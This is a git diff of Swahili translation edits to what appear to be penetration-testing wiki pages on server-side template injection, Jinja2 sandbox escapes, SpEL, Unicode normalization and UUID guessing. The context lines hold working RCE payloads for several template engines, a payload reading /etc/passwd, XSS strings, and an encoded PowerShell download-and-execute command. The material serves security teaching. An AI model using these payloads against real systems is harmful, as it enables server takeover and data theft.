#### Utambuzi kwa payloads
@ -63,7 +63,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa template zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu za template.
meza ya mwingiliano inayojumuisha polyglots za uingizaji wa templeti zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za templeti.
## Exploits
@ -172,9 +172,9 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf inahitaji usemi haya kuwekwa ndani ya sifa maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, mzigo rahisi wa mtihani wa SSTI unaweza kuonekana kama `[[${7*7}]]`.
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandaliwa mapema. Wataalamu wa maendeleo wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi kwa wakati halisi, jambo ambalo si la kawaida.
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandaliwa mapema. Wataalamu wa programu wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi mara moja, jambo ambalo si la kawaida.
Thymeleaf pia inatoa _expression preprocessing_, ambapo usemi ndani ya viwango viwili vya chini (`__...__`) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
Thymeleaf pia inatoa _expression preprocessing_, ambapo usemi ndani ya viwango viwili vya chini (`__...__`) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika hati ya Thymeleaf:
```java
#{selection.__${sel.code}__}
```
@ -190,7 +190,7 @@ Hii inaonyesha kwamba ikiwa injini ya templeti itashughulikia hizi ingizo vibaya
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Maelezo zaidi**
**Taarifa zaidi**
- [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
@ -361,7 +361,7 @@ Tafuta "com.hubspot.content.hubl.context.TemplateContextRequest" na kugundua [mr
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
**Maelezo zaidi**
**Taarifa zaidi**
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
@ -373,7 +373,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Lugha ya Kielelezo (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
Lugha ya Kielelezo (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kuboresha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
- **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vya nyuma vinavyolingana.
- **JavaServer Pages (JSP)**: EL inatumika katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
@ -477,7 +477,7 @@ $output = $twig > render (
array("first_name" => $user.first_name)
);
```
**Taarifa zaidi**
**Maelezo zaidi**
- Katika sehemu ya Twig na Twig (Sandboxed) ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
@ -486,7 +486,7 @@ array("first_name" => $user.first_name)
Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
Controller:
Msimamizi:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
@ -501,7 +501,7 @@ Sampuli ya ukurasa:
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Sanjari la mpangilio:
Sanjari la muundo:
```html
<html>
<head>
@ -663,7 +663,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**Maelezo zaidi**
**Taarifa zaidi**
- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
@ -674,7 +674,7 @@ URLencoded:
| | Thibitisha na uwasilishe matokeo |
| | Thibitisha na uwasilishe matokeo yaliyowekwa HTML |
| | Maoni |
| na | Ruhusu msimbo (imezimwa kwa default) |
| na | Ruhusu msimbo (imezimwa kwa default) |
- \= 49
@ -682,11 +682,11 @@ URLencoded:
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Seva Kando**
**Seva ya Kando**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**Maelezo zaidi**
**Taarifa zaidi**
- [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
@ -710,7 +710,7 @@ home = pugjs.render(injected_page)
- \{{7\*7\}} = 49
- \{{foo\}} = Hakuna matokeo
- \#{7\*7} = #{7\*7}
- \{{console.log(1)\}} = Kosa
- \{{console.log(1)\}} = Hitilafu
```javascript
{
{
@ -859,7 +859,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipak
```
[**RCE si tegemezi kutoka**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
[**RCE haitegemei**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
@ -870,7 +870,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipak
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Maelezo zaidi kuhusu jinsi ya kutumia Jinja**:
**Maelezo zaidi kuhusu jinsi ya kutumia Jinja vibaya**:
{{#ref}}
jinja2-ssti.md
@ -911,7 +911,7 @@ ${x}
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Mbinu ya .NET `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa webapp iliyo hatarini katika [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
Mbinu ya .NET `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti iliyo hatarini katika [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Maelezo zaidi**
@ -945,15 +945,15 @@ Hata kama ni perl inatumia lebo kama ERB katika Ruby.
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa kutumia payload maalum:
- `{{ . }}`: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kimepitishwa, `{{ .Password }}` kinaweza kukifichua.
- `{{ . }}`: Inaonyesha muundo wa data uliowekwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapewa, `{{ .Password }}` kinaweza kukifichua.
- `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha mfuatano wa maneno "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Payload hizi zinapaswa kurudisha "ssti" bila kuongezea "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
- `{{html "ssti"}}`, `{{js "ssti"}}`: Payload hizi zinapaswa kurudisha "ssti" bila kuongeza "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**Ushambuliaji wa XSS**
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inakodisha jibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inasababisha `&lt;script&gt;alert(1)&lt;/script&gt;`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita kodishaji hii: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inachakata jibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inasababisha `&lt;script&gt;alert(1)&lt;/script&gt;`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita uchakataji huu: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
@ -968,20 +968,20 @@ out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Maelezo Zaidi**
**Maelezo zaidi**
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Matukio Zaidi
### Maelezo Zaidi ya Uvunjaji
Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kwa matukio zaidi. Pia unaweza kupata habari za kuvutia kuhusu lebo katika [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kwa uvunjaji zaidi. Pia unaweza kupata habari za kuvutia kuhusu lebo katika [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
## Msaada Husika
## Msaada wa Kuunganishwa
Ikiwa unafikiri inaweza kuwa na manufaa, soma:
@ -995,7 +995,7 @@ Ikiwa unafikiri inaweza kuwa na manufaa, soma:
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## Orodha ya Ugunduzi wa Brute-Force
## Orodha ya Kugundua Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

View File

@ -52,7 +52,7 @@ System.out.println(result);
}
}
```
Kisha jumuisha msimbo (ikiwa huna `javac` iliyosanikishwa, sakinisha `sudo apt install default-jdk`):
Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
@ -65,13 +65,13 @@ Enter a String to evaluate:
```
Kumbuka jinsi katika mfano uliopita neno `{5*5}` lilivyo **kadiria**.
## **Mafunzo ya CVE**
## **Mafunzo ya Kulingana na CVE**
Angalia katika **hiki chapisho:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Payloads
### Vitendo vya msingi
### Vitendo vya Msingi
```bash
#Basic string operations examples
{"a".toString()}

View File

@ -23,7 +23,7 @@ app.run()
### **Taarifa ya Kurekebisha**
Ikiwa Kiendelezi cha Kurekebisha kimewezeshwa, lebo ya `debug` itapatikana ili kutoa muktadha wa sasa pamoja na filters na majaribio yanayopatikana. Hii ni muhimu kuona kile kinachopatikana kutumika katika kiolezo bila kuweka debugger.
Ikiwa Kiendelezi cha Kurekebisha kimewezeshwa, lebo ya `debug` itapatikana ili kutoa muktadha wa sasa pamoja na filters na majaribio yanayopatikana. Hii ni muhimu kuona nini kinapatikana kutumika katika kiolezo bila kuweka debugger.
```python
<pre>
@ -60,12 +60,12 @@ Ikiwa Kiendelezi cha Kurekebisha kimewezeshwa, lebo ya `debug` itapatikana ili k
```
## **Jinja Injection**
Kwanza kabisa, katika Jinja injection unahitaji **kupata njia ya kutoroka kutoka kwenye sandbox** na kurejesha ufikiaji wa mtiririko wa kawaida wa utekelezaji wa python. Ili kufanya hivyo, unahitaji **kudhulumu vitu** ambavyo ni **kutoka** kwenye **mazingira yasiyo ya sandbox lakini yanapatikana kutoka kwenye sandbox**.
Kwanza kabisa, katika Jinja injection unahitaji **kupata njia ya kutoroka kutoka kwenye sandbox** na kurejesha ufikiaji wa mtiririko wa kawaida wa utekelezaji wa python. Ili kufanya hivyo, unahitaji **kuitumia vibaya vitu** ambavyo ni **kutoka** kwenye **mazingira yasiyo ya sandbox lakini yanaweza kupatikana kutoka kwenye sandbox**.
### Accessing Global Objects
Kwa mfano, katika msimbo `render_template("hello.html", username=username, email=email)` vitu username na email **vinatoka kwenye mazingira ya python yasiyo ya sandbox** na vitakuwa **vinapatikana** ndani ya **mazingira ya sandbox.**\
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **daima vinapatikana kutoka kwenye mazingira ya sandbox**, hivi ni:
Kwa mfano, katika msimbo `render_template("hello.html", username=username, email=email)` vitu username na email **vinatoka kwenye mazingira ya python yasiyo ya sandbox** na vitakuwa **vinapatikana** ndani ya **mazingira ya sandboxed.**\
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **daima vinapatikana kutoka kwenye mazingira ya sandboxed**, hivi ni:
```
[]
''
@ -170,7 +170,7 @@ Ili kujifunza kuhusu **madarasa zaidi** ambayo unaweza kutumia ili **kuepuka** u
#### Kupita kawaida
Hizi kupita zitaturuhusu **kufikia** **sifa** za vitu **bila kutumia herufi fulani**.\
Tayari tumeona baadhi ya hizi kupita katika mifano ya awali, lakini hebu tuziwekee muhtasari hapa:
Tayari tumeshuhudia baadhi ya hizi kupita katika mifano ya awali, lakini hebu tuziwekee muhtasari hapa:
```bash
# Without quotes, _, [, ]
## Basic ones
@ -206,9 +206,9 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
- [**Rudi hapa kwa chaguzi zaidi za kufikia darasa la kitu**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**Soma hii kupata RCE bila darasa la kitu**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**Kuepuka uandishi wa HTML**
**Kuepuka usimbaji wa HTML**
Kwa kawaida Flask huandika HTML ndani ya kiolezo kwa sababu za usalama:
Kwa kawaida Flask huweka usimbaji wa HTML ndani ya kiolezo kwa sababu za usalama:
```python
{{'<script>alert(1);</script>'}}
#will be
@ -250,7 +250,7 @@ Bila **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
Kutoka kwa [**vitu vya kimataifa**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kupata **RCE bila kutumia darasa hilo.**\
Ikiwa utaweza kufikia **kazi** yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia **`__globals__.__builtins__`** na kutoka hapo **RCE** ni **rahisi** sana.
Unaweza **kupata kazi** kutoka kwa vitu **`request`**, **`config`** na **vitu vingine vyote** vya kimataifa vya kuvutia ambavyo una ufikiaji navyo kwa:
Unaweza **kupata kazi** kutoka kwa vitu **`request`**, **`config`** na **vitu vingine** vyote vya **kimataifa** vya kuvutia ambavyo una ufikiaji navyo kwa:
```bash
{{ request.__class__.__dict__ }}
- application
@ -294,7 +294,7 @@ Mara tu umepata baadhi ya kazi unaweza kurejesha builtins kwa:
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) ni chombo ambacho kimebobea katika CTFs lakini pia kinaweza kuwa na manufaa katika kubruutuforce param za kutokubalika katika hali halisi. Chombo hiki kinapiga maneno na maswali ili kugundua filters, kutafuta bypasses, na pia kinatoa console ya mwingiliano.
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) ni chombo ambacho kimebobea katika CTFs lakini pia kinaweza kuwa na manufaa katika kubruutuforce param za kutokubalika katika hali halisi. Chombo hiki kinapiga maneno na maswali kugundua filters, kutafuta bypasses, na pia kinatoa console ya mwingiliano.
```
webui:
As the name suggests, web UI
@ -319,7 +319,7 @@ crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## Marejeo
## Marejeleo
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
- Angalia [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).

View File

@ -29,8 +29,8 @@ Udhaifu huu kwa kweli unatokana na udhaifu ambao mtafiti alipata, kwa maelezo ya
Back-ends fulani zinafanya kazi kwa njia ya ajabu wanap **pata emojis**. Hivyo ndivyo ilivyotokea katika [**hii andiko**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) ambapo mtafiti alifanikiwa kupata XSS kwa payload kama: `💋img src=x onerror=alert(document.domain)//💛`
Katika kesi hii, kosa lilikuwa kwamba seva baada ya kuondoa wahusika wabaya **ilibadilisha string ya UTF-8 kutoka Windows-1252 hadi UTF-8** (kimsingi uandishi wa ingizo na kubadilisha kutoka uandishi vilikuwa tofauti). Kisha hii haitoi < sahihi bali unicode ya ajabu: ``\
``Hivyo walichukua matokeo haya na **wakabadilisha tena sasa kutoka UTF-8 hadi ASCII**. Hii **ilihariri** `` kuwa ` <` hii ndiyo jinsi exploit ilivyoweza kufanya kazi kwenye mfumo huo.\
Katika kesi hii, kosa lilikuwa kwamba seva baada ya kuondoa wahusika wabaya **ilibadilisha string ya UTF-8 kutoka Windows-1252 hadi UTF-8** (kimsingi uandishi wa ingizo na kubadilisha kutoka uandishi vilikuwa tofauti). Kisha hii haisababishi < sahihi bali unicode ya ajabu: ``\
``Hivyo walichukua matokeo haya na **wakabadilisha tena sasa kutoka UTF-8 hadi ASCII**. Hii **ilihariri** `` kuwa `<` hii ndiyo jinsi exploit ilivyoweza kufanya kazi kwenye mfumo huo.\
Hii ndiyo ilivyotokea:
```php
<?php

View File

@ -18,7 +18,7 @@ Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila
Kuelewa Unicode encoding ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna vidokezo vikuu:
- **Code Points na Wahusika**: Katika Unicode, kila wahusika au alama inatolewa thamani ya nambari inayojulikana kama "code point".
- **Uwakilishi wa Bytes**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaojulikana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
- **Uwakilishi wa Bytes**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaopatikana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
- **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa bytes. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine.
- **Usindikaji wa Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi.
- **Tofauti za UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (inayotumia angalau byte 2, hadi 4) na UTF-32 (inayotumia byte 4 kwa wahusika wote).
@ -39,15 +39,15 @@ Mfano mwingine: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94
## **Mifano Inayoweza Kuathiriwa**
### **Kupita kwenye chujio la SQL Injection**
### **Kupita Kichujio cha SQL Injection**
Fikiria ukurasa wa wavuti unaotumia wahusika `'` kuunda maswali ya SQL na ingizo la mtumiaji. Wavuti hii, kama hatua ya usalama, **inafuta** matukio yote ya wahusika **`'`** kutoka kwa ingizo la mtumiaji, lakini **baada ya kufutwa** na **kabla ya kuunda** swali, inafanya **normalises** kwa kutumia **Unicode** ingizo la mtumiaji.
Fikiria ukurasa wa wavuti unaotumia wahusika `'` kuunda maswali ya SQL na ingizo la mtumiaji. Wavuti hii, kama hatua ya usalama, **inafuta** matukio yote ya wahusika **`'`** kutoka kwa ingizo la mtumiaji, lakini **baada ya kufutwa** na **kabla ya kuunda** swali, inafanya **normalisation** kwa kutumia **Unicode** ingizo la mtumiaji.
Basi, mtumiaji mbaya anaweza kuingiza wahusika tofauti wa Unicode sawa na `' (0x27)` kama `%ef%bc%87`, wakati ingizo linapofanywa kuwa la kawaida, nukta moja inaundwa na **SQLInjection vulnerability** inaonekana:
Basi, mtumiaji mbaya anaweza kuingiza wahusika tofauti wa Unicode sawa na `' (0x27)` kama `%ef%bc%87`, wakati ingizo linapofanywa normalised, nukta moja inaundwa na **SQLInjection vulnerability** inaonekana:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
**Wahusika wa Unicode wa kuvutia**
**Wahusika wa Unicode wenye kuvutia**
- `o` -- %e1%b4%bc
- `r` -- %e1%b4%bf
@ -89,7 +89,7 @@ Kumbuka kwamba kwa mfano wahusika wa kwanza wa Unicode wanaweza kutumwa kama: `%
### Fuzzing Regexes
Wakati backend in **kuchunguza pembejeo za mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **pemebeo** in **normalizing** kwa **regex** lakini **siyo** kwa mahali inapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing URL iliyopelekwa** lakini kisha **inaifikia kama ilivyo**.
Wakati backend in **kuchunguza pembejeo ya mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **pemebeo** in **normalizing** kwa **regex** lakini **siyo** kwa mahali inapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing URL iliyopelekwa** lakini kisha **inaifikia kama ilivyo**.
Chombo [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* kinaruhusu **kuunda tofauti za pembejeo** ili kufuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/).

View File

@ -4,12 +4,12 @@
## Basic Information
Universally Unique Identifiers (UUIDs) ni **nambari za bit 128 zinazotumika kutambulisha habari kwa kipekee** katika mifumo ya kompyuta. UUIDs ni muhimu katika programu ambapo vitambulisho vya kipekee vinahitajika bila uratibu wa kati. Zinatumika mara nyingi kama funguo za hifadhidata na zinaweza kurejelea vipengele mbalimbali kama hati na vikao.
Universally Unique Identifiers (UUIDs) ni **nambari za 128-bit zinazotumika kutambulisha habari kwa kipekee** katika mifumo ya kompyuta. UUIDs ni muhimu katika programu ambapo vitambulisho vya kipekee vinahitajika bila uratibu wa kati. Zinatumika mara nyingi kama funguo za hifadhidata na zinaweza kurejelea vipengele mbalimbali kama hati na vikao.
UUIDs zimeundwa kuwa za kipekee na **ngumu kukisia**. Zimejengwa kwa muundo maalum, zimegawanywa katika vikundi vitano vinavyowakilishwa kama tarakimu 32 za hexadecimal. Kuna matoleo tofauti ya UUIDs, kila moja ikihudumia madhumuni tofauti:
- **UUID v1** ni ya msingi wa wakati, ikijumuisha alama ya wakati, mfululizo wa saa, na kitambulisho cha node (anwani ya MAC), lakini inaweza kuonyesha habari za mfumo.
- **UUID v2** ni sawa na v1 lakini inajumuisha marekebisho kwa maeneo ya ndani (siyo maarufu).
- **UUID v2** ni sawa na v1 lakini inajumuisha marekebisho kwa maeneo ya ndani (siyo maarufu sana).
- **UUID v3 na v5** zinaunda UUIDs kwa kutumia thamani za hash kutoka kwa namespace na jina, ambapo v3 inatumia MD5 na v5 inatumia SHA-1.
- **UUID v4** inaundwa karibu kabisa kwa bahati nasibu, ikitoa kiwango cha juu cha kutotambulika lakini ikiwa na hatari kidogo ya nakala.
@ -36,8 +36,8 @@ Fikiria programu ya wavuti inayotumia UUID v1 kwa ajili ya kuunda viungo vya upy
2. **Utendaji**:
- Mshambuliaji anachochea upya wa nywila kwa akaunti yake ya kwanza (\`attacker1@acme.com\`) na kupokea kiungo cha upya wa nywila chenye UUID, sema \`99874128-7592-11e9-8201-bb2f15014a14\`.
